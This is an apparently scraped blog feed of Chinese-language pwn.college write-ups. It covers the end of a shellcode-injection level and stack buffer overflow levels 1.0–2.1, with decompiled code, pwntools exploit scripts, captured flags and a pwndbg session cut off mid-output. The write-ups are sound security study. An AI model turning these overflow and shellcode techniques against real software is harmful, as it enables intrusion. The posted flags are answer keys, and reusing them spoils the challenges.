&lt;p&gt;唯一有一点需要注意的就是执行 stage_2 之前应该使用 &lt;code&gt;nop&lt;/code&gt; 填充 stage_1 所用的所有指令位，这样才能确保从正确的地方接着执行，因为 &lt;code&gt;rip&lt;/code&gt; 的值一直在改变。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-14&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage):
    stage_1 = &quot;&quot;&quot;
    xor edi, edi
    xchg esi, edx
    syscall
    &quot;&quot;&quot;

    stage_2 = shellcraft.nop() * len(asm(stage_1))
    stage_2 += shellcraft.cat(&quot;/flag&quot;)

    if stage == 1:
        return asm(stage_1)
    elif stage == 2:
        return asm(stage_2)
    else:
        log.failure(&quot;Unknown stage number.&quot;)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload(1)

        send_payload(target, payload)

        payload = construct_payload(2)

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{0PaZanWijSYussIikuZaDrCAj1-.0FMzIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;没想到时隔三天又要写后记了。这章 3 天就打完了，爽快！&lt;/p&gt;
&lt;p&gt;~Shellcode Injection 应该是最简单的一章了，不接受反驳。~&lt;/p&gt;
&lt;p&gt;Well. 接下来我想嗨几天，虽然不知道可以干什么，但是我清楚的知道我这个小苦逼之后的 roadmap 是刷 ROP -&amp;gt; FmtStr ……&lt;/p&gt;
</content:encoded></item><item><title>Write-ups: Program Security (Memory Errors) series (Completed)</title><link>https://cubeyond.net/posts/write-ups/pwncollege-memory-errors/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/pwncollege-memory-errors/</guid><description>Write-ups for pwn.college binary exploitation series.</description><pubDate>Thu, 05 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Level 1.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer on the stack to set the right conditions to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;分析得程序主要逻辑从 &lt;code&gt;challenge&lt;/code&gt; 函数开始，反编译如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
  int v7; // [rsp+1Ch] [rbp-34h]
  int v8; // [rsp+24h] [rbp-2Ch]
  size_t nbytes; // [rsp+28h] [rbp-28h]
  _QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
  _QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF
  __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v11[1] = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  v11[0] = 0LL;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 20);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is a \&quot;win\&quot; variable.&quot;);
  puts(&quot;By default, the value of this variable is zero.&quot;);
  puts(&quot;However, when this variable is non-zero, the flag will be printed.&quot;);
  puts(&quot;You can make this variable be non-zero by overflowing the input buffer.&quot;);
  printf(
    &quot;The \&quot;win\&quot; variable is stored at %p, %d bytes after the start of your input buffer.\n\n&quot;,
    (char *)v11 + 4,
    20);
  puts(&quot;We have disabled the following standard memory corruption mitigations for this challenge:&quot;);
  puts(&quot;- the binary is *not* position independent. This means that it will be&quot;);
  puts(&quot;located at the same spot every time it is run, which means that by&quot;);
  puts(&quot;analyzing the binary (using objdump or reading this output), you can&quot;);
  puts(&quot;know the exact value that you need to overwrite the return address with.\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  nbytes = 4096LL;
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, 4096LL);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    &amp;amp;buf[nbytes / 8],
    nbytes - 20);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v8);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of the win variable is %p.\n&quot;, (char *)v11 + 4);
  printf(&quot;- the value of the win variable is 0x%x.\n&quot;, HIDWORD(v11[0]));
  putchar(10);
  if ( HIDWORD(v11[0]) )
    win();
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这里判断了 &lt;code&gt;v11[0]&lt;/code&gt; 的高 32 bits。这时只要 &lt;code&gt;v11[0]&lt;/code&gt; 的高 32 bits 不是 &lt;code&gt;0&lt;/code&gt; 就都可以进入 &lt;code&gt;if&lt;/code&gt; 内部，调用 &lt;code&gt;win&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( HIDWORD(v11[0]) ) { win(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们要做的就是想办法覆盖 &lt;code&gt;v11[0]&lt;/code&gt; 的高 32 bits。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_QWORD buf[2]; // [rsp+30h] [rbp-20h] BYREF
_QWORD v11[2]; // [rsp+40h] [rbp-10h] BYREF

// ...

nbytes = 4096LL;
// ...
v8 = read(0, buf, nbytes);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里 &lt;code&gt;read&lt;/code&gt; 最多可以读取 4096 bytes 到 &lt;code&gt;buf&lt;/code&gt;。但是我们的 &lt;code&gt;buf&lt;/code&gt; 只有 16 bytes，故存在缓冲区溢出问题，导致覆盖 &lt;code&gt;v11&lt;/code&gt; 的值。&lt;/p&gt;
&lt;p&gt;所以我们只要先输入 16 bytes 填满 &lt;code&gt;buf&lt;/code&gt;，再多写 5 bytes 就可以达到破坏 &lt;code&gt;v11[0]&lt;/code&gt; 的高 32 bits 的目的。（注意 &lt;code&gt;read&lt;/code&gt; 会把回车读进去，所以本地执行可以只输入 20 bytes）&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./binary-exploitation-first-overflow-w&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;A&quot; * 21
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{oQdReDoKIU218v6uPGguMuFOJnt.0VO4IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 1.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This challenge is identical to its &quot;easy&quot; version from a security perspective, but has the following changes:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Unlike the easy version, it does not give you helpful debug output. You will have to recover this information using a debugger.&lt;/li&gt;
&lt;li&gt;For all other &quot;hard&quot; versions, the source code will not be provided, and you will need to reverse-engineer the binary using your knowledge of the &quot;easy&quot; version as a reference. However, for this one challenge, to get you familiar with the differences between the easy and hard versions, we will provide the source code.&lt;/li&gt;
&lt;li&gt;Some randomization is different. Buffers might have different lengths, offsets might vary, etc. You will need to reverse engineer this information from the binary!&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  _QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
  int v4; // [rsp+50h] [rbp-10h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, sizeof(buf));
  v4 = 0;
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, 4096LL);
  if ( (int)read(0, buf, 0x1000uLL) &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  if ( v4 )
    win();
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;_QWORD buf[4]; // [rsp+30h] [rbp-30h] BYREF
int v4; // [rsp+50h] [rbp-10h]

// ...

if ( (int)read(0, buf, 0x1000uLL) &amp;lt; 0 ) { /* ... */ }

// ...

if ( v4 ) { win(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于程序根据 &lt;code&gt;v4&lt;/code&gt; 的值来判断是否执行 &lt;code&gt;win&lt;/code&gt;，所以只要令 &lt;code&gt;v4&lt;/code&gt; 不为 0 即可。&lt;/p&gt;
&lt;p&gt;注意到 &lt;code&gt;buf&lt;/code&gt; 只有 32 bytes，但是最大可以输入 4096 bytes，导致溢出覆盖 &lt;code&gt;v4&lt;/code&gt; 的值。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./binary-exploitation-first-overflow&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;A&quot; * 33
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{cwWgAcBgDsBnGFTCky9i1NRqAtO.0FM5IDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer on the stack to set trickier conditions to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-D0h] BYREF
  int v7; // [rsp+1Ch] [rbp-B4h]
  int v8; // [rsp+24h] [rbp-ACh]
  size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
  void *buf; // [rsp+30h] [rbp-A0h]
  int *v11; // [rsp+38h] [rbp-98h]
  _BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
  int v13; // [rsp+C0h] [rbp-10h] BYREF
  unsigned __int64 v14; // [rsp+C8h] [rbp-8h]
  __int64 savedregs; // [rsp+D0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+D8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v14 = __readfsqword(0x28u);
  memset(v12, 0, sizeof(v12));
  v13 = 0;
  buf = v12;
  v11 = &amp;amp;v13;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 127);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is a \&quot;win\&quot; variable.&quot;);
  puts(&quot;By default, the value of this variable is zero.&quot;);
  puts(&quot;However, if you can set variable to 0x0e530e48, the flag will be printed.&quot;);
  puts(&quot;You can change this variable by overflowing the input buffer, but keep endianness in mind!&quot;);
  printf(
    &quot;The \&quot;win\&quot; variable is stored at %p, %d bytes after the start of your input buffer.\n\n&quot;,
    v11,
    (_DWORD)v11 - (_DWORD)buf);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 127);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v8);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of the win variable is %p.\n&quot;, v11);
  printf(&quot;- the value of the win variable is 0x%x.\n&quot;, *v11);
  putchar(10);
  if ( *v11 == 240324168 )
    win();
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;size_t nbytes; // [rsp+28h] [rbp-A8h] BYREF
void *buf; // [rsp+30h] [rbp-A0h]
int *v11; // [rsp+38h] [rbp-98h]
_BYTE v12[128]; // [rsp+40h] [rbp-90h] BYREF
int v13; // [rsp+C0h] [rbp-10h] BYREF

v13 = 0;
buf = v12;
v11 = &amp;amp;v13;
nbytes = 0LL;

// ...

__isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);

// ...

v8 = read(0, buf, nbytes);

// ...

if ( *v11 == 240324168 ) { win(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果 &lt;code&gt;v11&lt;/code&gt; 指向的地址的内容为 &lt;code&gt;240324168&lt;/code&gt; 则触发 &lt;code&gt;win&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;注意到我们的 &lt;code&gt;buf&lt;/code&gt; 为 128 bytes，由于最大输入长度可由我们自己自定义，因此可以溢出 &lt;code&gt;buf&lt;/code&gt; 破坏 &lt;code&gt;v13&lt;/code&gt;，将 &lt;code&gt;v13&lt;/code&gt; 修改为 &lt;code&gt;240324168&lt;/code&gt; 即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import context, ELF, process, remote, gdb, p64

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-2-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug([elf.path], gdbscript=gdbscript)
        else:
            return process([elf.path])
    else:
        return remote(HOST, PORT)


target = launch()

payload = b&quot;&quot;.ljust(128, b&quot;A&quot;) + p64(240324168)
payload_size = str(len(payload)).encode()

target.recvuntil(b&quot;Payload size: &quot;)
target.sendline(payload_size)
target.recvuntil(b&quot;Send your payload&quot;)
target.send(payload)

target.recvall()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{w7aHpdU-9AlFvJ5GtohCFtGwF7M.ddTNzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 2.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer on the stack to set trickier conditions to obtain the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 challenge()
{
  int *v0; // rax
  char *v1; // rax
  size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
  void *buf; // [rsp+30h] [rbp-30h]
  _DWORD *v5; // [rsp+38h] [rbp-28h]
  _QWORD v6[2]; // [rsp+40h] [rbp-20h] BYREF
  _QWORD v7[2]; // [rsp+50h] [rbp-10h] BYREF

  v7[1] = __readfsqword(0x28u);
  v6[0] = 0LL;
  v6[1] = 0LL;
  v7[0] = 0LL;
  buf = v6;
  v5 = (_DWORD *)v7 + 1;
  nbytes = 0LL;
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  if ( (int)read(0, buf, nbytes) &amp;lt; 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v1);
    exit(1);
  }
  if ( *v5 == 758965894 )
    win();
  puts(&quot;Goodbye!&quot;);
  return 0LL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;令 &lt;code&gt;v5&lt;/code&gt; 指向的地址处的值为 &lt;code&gt;758965894&lt;/code&gt; 即可触发 &lt;code&gt;win&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;最大输入大小可由我们自定义，存在溢出问题。&lt;code&gt;buf&lt;/code&gt; 的大小为 16 bytes，溢出后可以覆盖 &lt;code&gt;v7&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;v5&lt;/code&gt; 为指向 &lt;code&gt;v7&lt;/code&gt; 的 &lt;code&gt;_DWORD + 1&lt;/code&gt; 处的地址，所以覆盖 &lt;code&gt;buf&lt;/code&gt; 后需要加一个 &lt;code&gt;_DWORD&lt;/code&gt; 才是最终地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; r
Starting program: /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1
[Thread debugging using libthread_db enabled]
Using host libthread_db library &quot;/usr/lib/libthread_db.so.1&quot;.
###
### Welcome to /home/cub3y0nd/Projects/pwn.college/babymem-level-2-1!
###

Payload size: 1771
Send your payload (up to 1771 bytes)!

Breakpoint 1, 0x000055555555619d in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  0x7fffffffd180 ◂— 0
 RBX  0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1&apos;
 RCX  0
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd180 ◂— 0
 R8   0x75
 R9   0xfffffffc
 R10  0
 R11  0x202
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
 RSP  0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* &apos;###&apos; */
 RIP  0x55555555619d (challenge+171) ◂— call 0x555555555180
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x55555555619d &amp;lt;challenge+171&amp;gt;    call   read@plt                    &amp;lt;read@plt&amp;gt;
        fd: 0 (/dev/pts/0)
        buf: 0x7fffffffd180 ◂— 0
        nbytes: 0x6eb

   0x5555555561a2 &amp;lt;challenge+176&amp;gt;    mov    dword ptr [rbp - 0x3c], eax
   0x5555555561a5 &amp;lt;challenge+179&amp;gt;    cmp    dword ptr [rbp - 0x3c], 0
   0x5555555561a9 &amp;lt;challenge+183&amp;gt;    jns    challenge+229               &amp;lt;challenge+229&amp;gt;

   0x5555555561ab &amp;lt;challenge+185&amp;gt;    call   __errno_location@plt        &amp;lt;__errno_location@plt&amp;gt;

   0x5555555561b0 &amp;lt;challenge+190&amp;gt;    mov    eax, dword ptr [rax]
   0x5555555561b2 &amp;lt;challenge+192&amp;gt;    mov    edi, eax
   0x5555555561b4 &amp;lt;challenge+194&amp;gt;    call   strerror@plt                &amp;lt;strerror@plt&amp;gt;

   0x5555555561b9 &amp;lt;challenge+199&amp;gt;    mov    rsi, rax
   0x5555555561bc &amp;lt;challenge+202&amp;gt;    lea    rdi, [rip + 0xf85]     RDI =&amp;gt; 0x555555557148 ◂— &apos;ERROR: Failed to read input -- %s!\n&apos;
   0x5555555561c3 &amp;lt;challenge+209&amp;gt;    mov    eax, 0                 EAX =&amp;gt; 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7fffffffd148 —▸ 0x7fffffffe318 —▸ 0x7fffffffe6f1 ◂— &apos;SHELL=/usr/bin/zsh&apos;
02:0010│-050 0x7fffffffd150 —▸ 0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1&apos;
03:0018│-048 0x7fffffffd158 ◂— 0x155559020
04:0020│-040 0x7fffffffd160 —▸ 0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— ...
05:0028│-038 0x7fffffffd168 ◂— 0x6eb
06:0030│-030 0x7fffffffd170 —▸ 0x7fffffffd180 ◂— 0
07:0038│-028 0x7fffffffd178 —▸ 0x7fffffffd194 ◂— 0xf7a9ac0000000000
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55555555619d challenge+171
   1   0x5555555562ea main+213
   2   0x7ffff7dcae08
   3   0x7ffff7dcaecc __libc_start_main+140
   4   0x55555555520e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; c
Continuing.
aaaaaaaabaaaaaaa

Breakpoint 3, 0x00005555555561d7 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0x11
 RBX  0x7fffffffe308 —▸ 0x7fffffffe6bb ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-2-1&apos;
*RCX  0x7ffff7eb0c21 (read+17) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0x6eb
 RDI  0
 RSI  0x7fffffffd180 ◂— &apos;aaaaaaaabaaaaaaa\n&apos;
 R8   0x75
 R9   0xfffffffc
 R10  0
*R11  0x246
 R12  1
 R13  0
 R14  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7fffffffd1a0 —▸ 0x7fffffffe1e0 —▸ 0x7fffffffe280 —▸ 0x7fffffffe2e0 ◂— 0
 RSP  0x7fffffffd140 —▸ 0x555555557175 ◂— 0x2023232300232323 /* &apos;###&apos; */
*RIP  0x5555555561d7 (challenge+229) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x5555555561d7 &amp;lt;challenge+229&amp;gt;    mov    rax, qword ptr [rbp - 0x28]     RAX, [0x7fffffffd178] =&amp;gt; 0x7fffffffd194 ◂— 0xf7a9ac0000000000
   0x5555555561db &amp;lt;challenge+233&amp;gt;    mov    eax, dword ptr [rax]            EAX, [0x7fffffffd194] =&amp;gt; 0
